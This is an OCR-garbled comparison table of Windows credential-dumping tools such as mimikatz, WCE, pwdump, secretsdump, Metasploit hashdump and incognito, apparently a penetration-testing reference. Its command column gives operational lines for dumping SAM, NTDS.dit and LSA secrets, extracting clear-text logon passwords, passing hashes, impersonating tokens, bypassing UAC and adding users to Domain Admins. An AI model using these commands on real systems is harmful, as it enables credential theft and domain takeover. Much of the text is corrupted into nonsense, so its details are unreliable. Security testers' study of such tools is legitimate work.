Tool	Command line	GUI II	Local Remote	SAM	NTDS.dit	Password history	LSA secrets	Credential manager	Protected storage	Autologin	Logen sessions	Clear-text logon sessions	Session tokens	Cached domain logon information	Wrotess VNC	Certificates and keys	32-bit 64-bit	Windows XP/2003 W	Vindows Vista/2000/7	RDP session isolatio	In Notes To dump SAM and LSA sporter sempley, use Cash to connect to the target seachine as an administration user, right-cick on Services, then "small Ace," whereas your heteroris bits and opposed the staget error, then aways for Anderson than the county SAM and passaced thanky time "states" entry or LSA seconds than the administration should be connected than the administration of the county SAM and passaced thanky time "states" entry or LSA seconds than the administration should be supported to the county SAM and the states of the second than the states of the second than the sec	Commands
																					To dump SAM and LSA secrets remotely, use Cain to connect to the target	
Cain & Abel	No	Yes Y	res Yes. See rote	Yes (in-memory and from reg files)	Yes (in-memory)	Yes	Yes (in-memory and from reg files)	Yes locally No remotely	Yes locally No remotely	Yes (via LSA secrets)	No	No	No	Yes (in-memory and from reg files)	Yes Yes	10	Yes Yes	Yes Yes		res.	intactions as an action strative user, right-cack on services, their "initial Aber" refresh your Network tab and expand the target entry, then expand the Aber sub-active and aither dumn SAM and nessessort history from "sizeher" anto-or	<u> </u>
																					LSA secrets from the entry below. On SAA's architecture of fairs and durings "CreateDemoteThread fairs" S'	
cudumo2	Yes	No. 1	res No	Yes (in-memory)	Yes (in-memory)	~	No	No	No.	No	No	No.	No	No	No No P	10	Yes No. See noses	Yes No		ries. See notes	On remote logon sessions via RDP it tals and displays "CreateRemoteThread failed: 8", run as SYSTEM to avoid this from happening.	C1-pwdump2.exe (sass.exe PID)
	Non-Con-solve		res Yes		No. Or manual															dia.		C10PwDump.ese-o.padumpRing 127.0.0.1
	TEL SEPTORS	~	100	THE (IPPERIOR)	res (oreastay)	***	-	72						~2	~ ~	-	115				On desire control or to the control of the control	C1-Pa-Dump see -o padumpti log -u Administrator -o -passwords -s ADMING 192 168-0.1 # remote, one IP
cadums?	Yes	l=-	res No	Yes (from registry Sies). See notes	No	No	No	No	No	No	No	No	No	No	No No P	40	Yes Yes	Yes Yes.	See notes	fes.	contains no domain users, just the "restore mode" administrator password of	C1>PwDump7.exe # cnine SAM and SYSTEM registry files C1>PwDump7.exe -s <samfile> <systemfile> # offline SAM and SYSTEM registry files</systemfile></samfile>
Quarks PscPump	Yes	No.	res No	Yes thorn registry files). See notes	Yes (from NTDG dit)	Yes	No		no.			No.	No	Yes (from registry files)	No No		Yes Yes	Yes Yes		Tes.		Cinquake-padumpiese -dhi-hist-o-hashes.tid # dump local SAM Cinquake-padumpiese -dhid: o-cached.tid # dump cached domain locon information
		_	_						_						_						On domain controllers use in-memory tools or extract from rids dit file as SAN	Circulate padumplese -thd -hist -rt C WindowshTDS/reds.dit -o hashes tid # dump-domain password hashes Frun as SYSTEM:
PowerDump	Yes	No.	res No	Yes (from registry Sies). See notes	No		No		No			No	No		No No P		Yes Yes	Yes Yes.	. See notes	ries	contains no domain users, just the "restore mode" administrator password of the DC	Cirpowershell Set-Execution Policy Unrestricted Cirpowershell Cigath of powersump as i
									Lincolobia San notas												To dump the cached domain creds, it embeds cachedump.exe and on 64-bit architecture it falls and displays "ERROR Unable to Load, brary leasn dil	C1Mgdump.exe -s -r -v -v -k +fgdump.log -T 2 -O 32 C1Mgdump.exe -s -r -v -v -k +fgdump.log -T 2 -O 64 # 64-bit
222	764	l" 1	res Tres	Yes (in-memory)	786 (7)	104	_	100	Universities, See Robes	100		P**	No.	Yes (in memory), see notes	No. 100 P		786 786	766		TALL	The dumping of protected storage fails and displays "fgexec CalificamedPipe	C14gourp ass -s -1 -v -s -t 1gourp.og -1 3 -O 32 -f 192 test. 1 -Q Administrator -p -quasword - # remote, one in-
040 v	Man.			Van de 100000	V			_		Non-Arie I CA assessed				Non-th-manner							On 64-bit architecture it fails and displays "ERROR! Cannot start PWDumpX.	C10PMDumpXase -ciph 127.0.0.1 ++ # use current logon session credentals
Citable		~	res Yes	Tel (Primital)	res (oreanay)	100	res (orenessey)	~		Tes (rai Lan secreta)	**	-		Tes (interiory)	~ ~	-		188	U)	-	service on host". gsecdump is excellent in dumping LSA secrets regardless of the Windows	Completing of Completing (Completing Completing Complet
																					version and architecture. Since version 2.005 it is also reliable to dump SAMIAD hashes as well as	
amodumo	Yes	No. 1	res No	Yes (in-memory). See notes	Yes (in-memory)	~	Yes (in-memory)	No	No.	Yes (via LSA secrets)	Yes (dump). See notes	No	No	No	Yes No P	10	Yes Yes. See notes	Yes Yes		ries. See notes	logon sessions regardless of the Windows version and architecture. On remote logon sessions via RDP it falls and displays "error (6) in	C1-geodump.ese -a
																					geoclamp is excellent in dumping LSA secrets regarders of the Windows version and activitibitions. In orientate to dump SAMIAD hashes as well as since version 2 G66 it as in windows version and architecture. Supplementation regarders of the Windows version and architecture. Supplementation of the supplementation of the supplementation of the SAMIAD SAMIAD SAM	†
		-																			avoid this from happening.	S secretadump.py-debug-outputfile target_ip.DOMAIN.Administrator.password@192.168.0.1
secretatura	Yes	No.	res Yes	Yes (from registry files)	Yes (from NTDG.dk)	Yes	Yes (from registry files)	No	No		No	No	146	Yes (from registry files)	No No		Yes Yes	Yes Yes				S accreaturing by -debug- outputile staget, ip DOMANN Administrator; passavority 195 (6.0.1 S accreaturing by -debug- outputile staget, ip - system STSTEM -debug- SCLUPITY - sam SAM - edit into dit LOCAL. CE-charant see in house: # 8 SYSTEM - debug- outputile staget, ip - system STSTEM - debug- outputile SCLUPITY - dam SAM - edit into dit LOCAL.
carrot	Yes. See notes	l.,	res No	Yes thorn registry files). See notes	Yes (7)		No	Unreliable. See notes	Yes	Yes	160	No.	No		Yes Yes		Yes Yes	Yes Yes		Tes.	It is a bundle of the other tools including the Niršoft ones (netpass, WorslessMcfrlaw, etc). Prefer netpass to dump the oradential manager.	Cincanot ese inouac # se SYSTEM, disable UAC Cincanot ese (02 loadumo ino los lutan lunc # se user or Administrator
																					Prefer netpass to dump the credential manager. To dump SAM hashes it uses pedump?.	C.1-cannot area incustor. # as SYSTEM, distable UAC C.1-cannot area (22 pecture) inp ips Ivian Ivinc. # as user or Administrator C.1-cannot area (64 (pecture) inp ips Ivian Ivinc. # as user or Administrator, 64-bit
Metaspiol ament hashdump (post module)	Yes	No.	res Yes	Yes (in-memory and from reg files)	Yes (in-memory)	No	No	No	No	No	No	No	No	No	No No P	6	Yes Yes	Yes Yes			Priser regisals to dump the coloratine financialer. To dump SAM baseles it uses peodump? When run on domain controllers, it will use the in-memory technique to dump domain users' credericials. Vide versa when the target is a workstation it will dump the hashes from SAM file instead. On domain commoders, prefer Metalgolici remat_hashdump post modules.	run postivindowsigatherismant_hashdump GETSYSTEMHtue
Metapolot hashdumo (post modula)	Yes	No.	res Yes.	Yes thorn registry files). See notes	No	100	No	No	No.	No	No	100	No	No	No No h	10	Yes Yes	Yes Yes			On domain controllers, prefer Metaspiolt smart_hashdump post modules	run postivindovalgather hashdump
Metasoloit hashdumo (soriot)	Yes	No.	res Yes res Yes res Yes	Yes (from registry files). See notes	No	No	No		No			No	No		No No P		Yes Yes	Yes Yes			because SAM file does not contain domain users' information. On domain controllers, prefer Metaspiolt smart hashdump post modules because SAM file does not contain domain users' information.	run hashdump
																					Section and a Control of Control	run poetfuindows/escalate/bypassusc
Metasoloit hashdumo (command)	Yes	100	res Yes	Yes (in-memory) See notes	Yes (in-memory)	-	No	No	No.	No	No	No.	No	No	No No P	10	Yes Unreliable See notes	Yes Yes			Prefer to run as SYSTEM. On 64-bit architecture running as SYSTEM within a shell with UAC bypassed of an additional state of special state. The parameter is incorrect.	Brief exploit/hander) > sessions -1. Brief exploit/hander -1. Brief exploit/
																					parameter is incorrect.	In procession recording legislation of the Conference of the Confe
																						Run as any user: Inimiset: # sandumo: hashes revisientiler - sandiler - # dumo SAM hashes from registry file
																						Run at VYTEM (passed as 4 cross sept or information) years of such collections with Typical part of the Collection of th
																						mimikata # inject: process issue see sekurisa.dli # required to dump hashes from memory and other operations mimikata # @getLocalAccounts # dump SAM hashes from memory
ministra .	Ven	L !		Yes (in-marrory and from ren files)	Yes (In-memory)	Total Control	Yes (numerous)	Libratishia Saarotaa		Ver tria I SA secreta)	Ves (dums and impersonate).	Van Gan rotes	Mr.		Ju. 144	res (exportable and non-exportable)	Nee Nee	Yes Yes		Tax.	For details on @getLogonPasswords command refer too: http://tiog.gentlikiui.com/securits/pass-the-pass http://tiog.gentlikiui.com/securits/re-pass-the-pass	Inimikatz # @getSecrets # dump LSA secrets Inimikatz # @getLogonSessions # dump logon sessions
															1 1 1	non-exportable)					http:/blog.gentikiwi.com/secunite/re-pass-the-pass	ministra # gyptic-patchong
																						Run is user or Aministration: # dump a subset of condential invariager (LagsayGanesic' entries only) ministrat in Figure systematic ministrat or ropins captificate ministrat or ropins captificates # dump sent CISTs and FFX certificates persistrat or ropins captificate # dump sent CISTs and FFX certificates # dump sent CISTs and
																						mimikatz # divers: secrets # dump a subset of credential manager (LegacyGeneric entries only) mimikatz # crypto: patchcapi
																						minikats # crypto: exportCertificates # dump user's DER and PFX certificates minikats # crypto: exportCeys # dump user's PVK keys
pahid	Yes	100	res No	Yes (in-memory and from reg files)	Yes (in-memory)	Yes	No	No	No.	No	No	No.	No	No	No No P	10	Yes Yes	Yes Yes		Tes.		Run as SYSTEM (passes as a condition) Chypoleia as a condition of the memory schelique Chypoleia as a condition of the second
		_	_																			C'inpatriat ass a cauterdien carmien. # office SAM and SYSTEM registry files. # mixtr -p involvidat
bithins / samdump2	Yes	100	res No	Yes (from registry Sles)	No	No	No	No	No	No	No	No.	No	No	No No P	6	Yes Yes	Yes Yes			Dump, SAM hashes with physical access to the system	Printing - printing and the printing and an artificial programmed opinion bit. For an identification for international printing and artificial programmed opinion bit. For analysing printing and international printing and artificial programmed opinion bit in programmed bit in programmed and artificial printing artificial printing and artificial printing artificial printing and artificial printing artificial pr
		_	_																			B /pedump.py
crediture by movie	Yes	l.,	res No	Yes thors registry files)	No	Yes	Yes (from registry files). See notes	No.	la control	Yes (via LSA secrets)	No	No.	No	Yes (from registry files)	No No		Yes Yes	Yes Yes			To dump LSA secrets of Windows Vista and above versions, use the enhance version of creddump part of rids, dump, hash - the tool is called isadumpudkill	singe: /pwdump.py <system hive=""> <sam hive=""> S. /cachedump.py</sam></system>
							366 noss														py	S /sadump.py
			_						_						_							S wget http://csababarts.com/downloads/ntds_dump_hash.zip
																						And the second of the second o
																					Includes an updated version of moyb's creditump	S cd exactions
ctós dumo hasb	Yes	P 1	res No	No.	Yes (from NTDG.dit)	Yes	Yes (from registry files)	100	100	Yes (via LSA secrets)	No	No.	No	Yes (from registry files)	No No P		Yes Yes	Yes Yes			Includes an updated version of moylu's creddump	S is -1 firm joutput export
																						S chard as a nu
																						5 / deutserinfo py //mploutput.export/datatable 5 / deutserinfo py //mploutput.export/datatable 6 / deutserinfo py //mploutput.export/datatable 7 / deutserinfo py //mploutput
																						Download and instal (besedb from http://sourceforge.net/projects/besedb/files/besedb-alpha/. If tar rivfs (besedb-alpha-2011)210 tar co
																						S of libeact-20111216/ S /confoure
																						S make
																						S eacheapor - Implesedeuport log - Impirate dit - mas dit- S is - I Impirate dit espori
NTDSXtract	Yes	l.,	res No	No.	Yes (from NTDG.dt)	Yes.	No		No.			No.	No		No No	res (?)	Yes Yes	Yes Yes			NTDS DIT Forensics	datatabis 3 hiddentabis 4
		l" l			,																	ini, table 5
																						LT Sept. Transcendents contributed and the dark and the dark of 1,5 cp. Sept. Transcendents contributed and the dark and the dark of 1,5 cp. Set of the Colorada 1,6 Set of the Colorada 1,6 Set of the Colorada 1,6 Sept. Sep
																						\$ od NTDSktrach 1.0 \$ python deusers py Impirids dit exportidatatable 3 Impirids dit exportifink_table 5 -passwordhashes <system file=""> -</system>
																						passworthistory <system -certificates="" -membership="" -suppliceds="" <system="" filer=""> Impirids.dit.output S wget https://raw.github.com/inquisb/miscellaneous/maidwinddetopwdump.py</system>
																						Si python rédelopadump py impirede dit output
passcape Windows Password Recovery	No	Yes. See notes Y	res Yes.	Yes (in-memory and from reg files)	Yes (from NTDG.dit)	You	Yes (in-memory?)	No.	No.	Yes (via LSA secrets)	No	No	No	Yes (in-memory? and from reg files)	No No P		Yes Yes	Yes Yes		TOE.	from registry files and in-memory locally. The lifetime personal license light edition costs \$65.	
orbedt on Unix Linux	Yes	l.,	res No	ho	Yes (domain users, from 5	Tres.	No.	No.	No.			No.	No		No No		Yes Yes	No No			Cumping Samba hashes	Probled -L -w -Lincolambased Corf pad -a-lytile (->) (@ambpassed = split); S_Y pird Sambpassed " - Sambpassed Sambpassed Sambpassed
				_																	The trial version can dump all, but displays only the first three characters of	** (Sembpasswd[3] eq *00000000000000000000000000000000000
passcage Network Password Recovery	160	Yes See rolles Yes	res No	No	No	No	No	Yes	No.	No	No	No	No	Yes (from registry files)	Yes No P	6	Yes Yes	Yes Yes		Tes.	The trial vention can dump all, but displays only the first three characters of dumped passwords.	-
territoria.	Mar.			-						Non-Arie I CA assessed						_	No.		2	ries. See notes	This risk better that camp an, as displays only the late three better to dumped gasterands. The lifetime personal iscense costs \$22. On 64-64 architecture it falls and displays "CreateRemoteThread falled: 5". On remote logon exections via EDP it falls and displays "CreateRemoteThread falled: 5". On remote logon exections via EDP it falls and displays "CreateRemoteThread falled: 5".	
District Con-	100	~		~	_	_	*** (# **********)	~~		Tes (various security	""		~	~2	~ ~		115 00.000	188	71	- 100 House		
1010		L		L.			Urrelable. See notes	L	L	No. 2017 CA		L			L. L. L					ries. See notes	Windows local users regardless of the architecture on both Windows 7 and	C:N-SASecretaDump-sis-empty C:N-SASecretaDump-sis-eas-empty #64-bit
		l" l						I"		Tes (railles section)			~		F F						On nemote logon sessions via RDP it falls, run as SYSTEM to avoid this from	C1NSASacretsDump-sS4.esa-empty #64-bit
I SASArrentiSau	Ma.	Yes V	ter an	les.	No	No.	Unrelable. See notes	no.		Ves tris I SA secretal	445	No.	No.		No. 100 1		Nee Nee	Van Van		ries. See notes	If his always leader outry as ILLN secrets or services faming as agarmate Windows local seen regardless of the architecture to both Windows 7 and On menter logon sessions via RDP of tals, un as SYSTEM to avoid this from happening. As per LSAGeovesiLung, it has always failed 10 dump all LSA secrets. On monte logon sessions via RDP of tals, un as SYSTEM to avoid this flore.	
									-	,		-	_							-	Nicorna	
Selection Passacott Histories (Helitally)	Yes	Yes Y	765 760	145	160	-	100	Yes	140	Yes (value secrets)	943	100	NO .	NO	NO NO D	9	Yes Yes see notes	Yes Tes		res	otherwise no entries will be dumped. Stater pathogs and Cain & shallo this Mateuning cost exploitation module. If	C. Neepast ass accomis nepast car
Metaspiol gatherizadentials innum, cred, store (post module)	Yes	No.	res No	No.	No	No.	Mo	Unreliable. See notes	No	No	No	No	No	No	No No P	40	Yes Yes	Yes Yes			Make using you list the 64-of verticals of that both 64-of scholars can be of admissible. The Otherwise not critical will be duringed. Platfer registers and Clasif & Admissible between pool expenditudes module. It bound all entities but it duringed 20 and of 7-ordines and the boot output file is not sawly modules. Anough this took of criticals the listest exerprocess and the system gets restarded automatically. Use Casif & Admit by the same author or respect process 2-06-64-28 architecture it that and objects "Crisical Resort Insect States".	run poetiwindows/gather/oredentials/enum_cred_store
crediture by oald it	Yes. See notes	100	res No	ho.	No		No	Unreliable, See notes				No.	No		No No		Yes No. See notes	Yes No		Tes.	Avoid this tool it crashes the issue eee process and the system gets restarted automatically. Use Cain & Abel by the same author or netoass instead.	C Norddurpuse
Distorted Strongs Destribus Institut	Yes	Ves V	fee No.	ho	No	us.	No.	las.	Yes	No.	NA.	No.	No.	MA.	No. No. 1	6.	Nee Nee	Van Van		Tax .	On 64-bit architecture it fails and displays "CreateRemoteThread failed: 5".	Channel and little name to
Metapliol cathericadentials/windows autologic (cost module)	Yes	No.	res Yes.	No.	No	100	No	No	No.	Yes	165	76	No		No No P		Yes Yes	Yes Yes			-	run poetivindowsigetherioredenfals/windows_autologin
																					With warning 1.3. WCC is also able to dump rises but necessaries for incom-	Fan positivindous gathericredentals/windows_susticogin Chivaco seas—0 # dump available logon sessions Chivaco seas—0 # dump available logon sessions every 3 secs Chivaco seas—0 # dump available logon sessions every 3 secs # dump sessions seas—0 # dump sessions seasons every 3 secs
Windows Credentals Editor (WCE)	Yes	700	res No	No.	No.	· ·	No.	No	-	No	Yes (dump and impersonate)	Yes. See notes	No.	No	No No		Yes Yes See notes	Yes Yes		fes	With version 1.3, WCE is also able to dump clear-test passwords for logon assistons, like mimicator dose (http://hexade.blogopsrt.com/20/12/02/wce-v12/04s-02/04-velasead.html;). Make sore you sun the 64-bit version of this tool on 64-bit architecture otherwise it worth work.	C.truce ass - w dump clear-text passwords for logon sessions C.truce ass - s-user-vidorain-viM hash-viNT hash cmd ass # impersorate a logon session
_																					Maxe sure you run the 64-bit version of this tool on 64-bit architecture otherwise it won't work.	
																						Chiveon easing repassed the first of the control of
Pass-The-Hash Toolks (PTH)	Yes	700	res 740	160	No.	~	No.	No.	-	No.	Yes (dump and impersonate)	10	No	No	No No		Yes No. See notes	Yes No. 1	See notes	ries. See notes	This too is depreciated and codes not work on 64-bit accessorate and secient versions of Windows. Use WCE I orisined. On remote logon essessions via RDP it falls and displays "Error in pis-coll-bit-collist function", no as SYSTEM to seed this from happening. Make sure you run the 64-bit version of this tool on 64-bit architecture.	CONSERVATION - Condition - Con
	Ven		(ex No	No.	No.		100	in .			Ves (dumo)			W.	140		Ves Ves	No Secretar		See .	Make sure you run the 64-bit version of this tool on 64-bit architecture	Cit-genhash.ese rpasswordh # generate LM and NT hash of rpasswordh Cit-felsass.ese go
	-										,				لثب			100			On older Windows versions use mimikatz, mevdt, WCE or PTH.	C. Production (p.
Buchido	Yes	No.	fea No fea No	No.	No.	No.	No	No	-	No	Yes (impersonate)	No.	No	No.	No No		Yes Yes	No. See notes Yes		ries	otherwise it won't work version of this tool on se-or architecture of thereign it won't work.	Circunhash.ese rdomainri-usen:-rLM hash-r-WT hash-: ondiese
																					otherwise it won't work. On older Windows versions use mimikate, mevcli, WCE or PTH. On 64-bit architecture it fails and deplays "error: code: -90". Use RunhAsh, minikate or WCE instead.	Compart assist
-	764								T .		red (oump and impersonate)				T" "			-		see notis	On remote logon sessions via ROP it falls and displays "error: code: -10", run as SYSTEM to avoid this from happening.	Criminal assist Criminal assistance - LM hash-WT hash- sun ond ass
																						Flut mail to devindentiate state: Second Se
																						C:Nncognito ase -b 127.0.0.1 list_lokers -p_# list available group tokens C:Nncognito ase -b 127.0.0.1 execute -c "NT AUTHORITY/SYSTEM" and ase # impersonate Local System
1																						C1Vincognito see -b 127.0.0.1 add user -h rdomaincontrolleriph yourser yourpassaord. # add a domain user C1Vincognito see -b 127.0.0.1 add group user -h rdomaincontrolleriph "Domain Admins" yourses -# assign (revenir scholeries
																						Diser C1Nncognito.ese -b 127.0.0.1 add_group_user -b https://domain.controllerico "Enterorise Admins" yourquer # assign and admin to your
1 .																					This tool is not officially supported on 64-bit architecture and recent versions of Windows. Run it a few times to fist all available tokens and impersonate	C1>incognits aue -b 192 168 0 1 list, tokens -u # remote, list available user tokens C1>incognits aue -b 192 168 0 1 list, tokens -g # remote, list available group tokens
-	166		Yes.					r	Г			r	res (list and imperionate)		P P		Ves Urreliable. See notes	Tes	maters. See rotes.	-	rrindows. Hun it a few times to list all available tokens and impersonate properly.	C1Nncognito ase -ti rac ras o 1 execute -c "NT AUTHORITYGYSTERF and ase # imperiorate Local System C1Nncognito ase -ti 192 168 0.1 add_user -ti -domain.combiler(p> -tuser> -password> = # remote, add a domain user
																						The second secon
																						CTH roogens are -th tex tex is 1 add_group_user -th -domaincontrolled ph "Enterprise Admins" -cuser- # remote, assign ent admit to user
																						Run as SYSTEM (passec eas 4 cmd.exe):
																						Run as SYSTM (passections 4 and east) Chinopple are let (plane or 4 let available user blans Chinopple are let (plane or 4 let available user blans Chinopple are let (plane or 5 let available grap blans Chinopple are excious chinomic of let available grap blans Chinopple are excious chinomic of let available grap blans Chinopple are excious chinomic of let available grap blans Chinopple are excious chinomic or available grap blans All and a sa definition of user.
1																						C194nd polentiase 127.00.5 C194nd polentiase 127.00.01 C194nd polentiase 127.00.01 C194nd polentiase 107.00.01
End taken	Yes	10	res Yes	No.	No.	No.	No	100	No.	No	No	100	Yes (Set)	No	No No P		Yes Unreliable. See notes	Yes Une	elable. See rotes	fes	This tool is not officially supported on 64-bit architecture and recent versions of Windows. Run it a few times to list all available tokens.	C1-Medic Johannese 127 d.0.5
																						Don as CYSTEM (narrow on a crystans)
																					On 64-bit architecture it falls and displays "ERROR Linable to Load Library	Conceptions of the strategies
camedono	Y66	-	res Sea				-		P*	100	100			res (d-memory)	100		Yes No See notes	Yes No (70	TOE		Unicatedurg ass 4
Sassapiol cathericarhedung (post module)	Yes	Yes	res Yes res No	No.	No.	0.	No.				No.	ho.	100	Yes (for registry files)	No No P		Yes Yes See notes	Yes Yes		fee .	Make sure you run the 64-bit version of this tool on 64-bit architecture	pur portrandous gather lachedung 11-Wildeland for the purpose of the Wildeland for the Property Control of the Property Contr
	-																THE AND TORK	Fee.			otherwise to entries will be dumped.	run postivindous leculate bypassusc
Material standard conflictors module	Ven		(ea Yea				100								Yes .		Ven Ven	Yes Yes			1	Background session <0>? [yN] y mel' exploit/hander) > sessions -i
																		100				An particular application designate. **Confidence application designate and the confidence application of the confidence application of the confidence application and confidence appl
and a	Yes	No.	res No	10	No.	No.	No	No.	10	No	No	No.	160	160	No Yes		Yes Yes	Yes		Tes.		pur postwingoviswanivani, profile Citivingoviump.eae <- 4-d
WCPassView	Yes		res No	No	No	Vo.	No	No	No.	No		No	No		540 Yes 5		Yes Yes	Yes Yes		res		C1:vncpwdump.eae -ced C1:vNcCPsasVew.eae htbb uncpassview.txt
Metapiot artherizes (post module)	Yes	No.	res Yes	10	140	No.	No		100			760	No		No Yes		Yes Yes	Yes Yes				run poetivindows igather lovedentials vinc
Metasolot gehinose (sorial)	Yes	···	Yes Yes	10	w .	P	140	Po	No.	40	160	Pio .	100	160	No Yes		Yes Yes	Yes Yes				run gehinope
by Semanto Dameie A. G.																						

National Annual Annual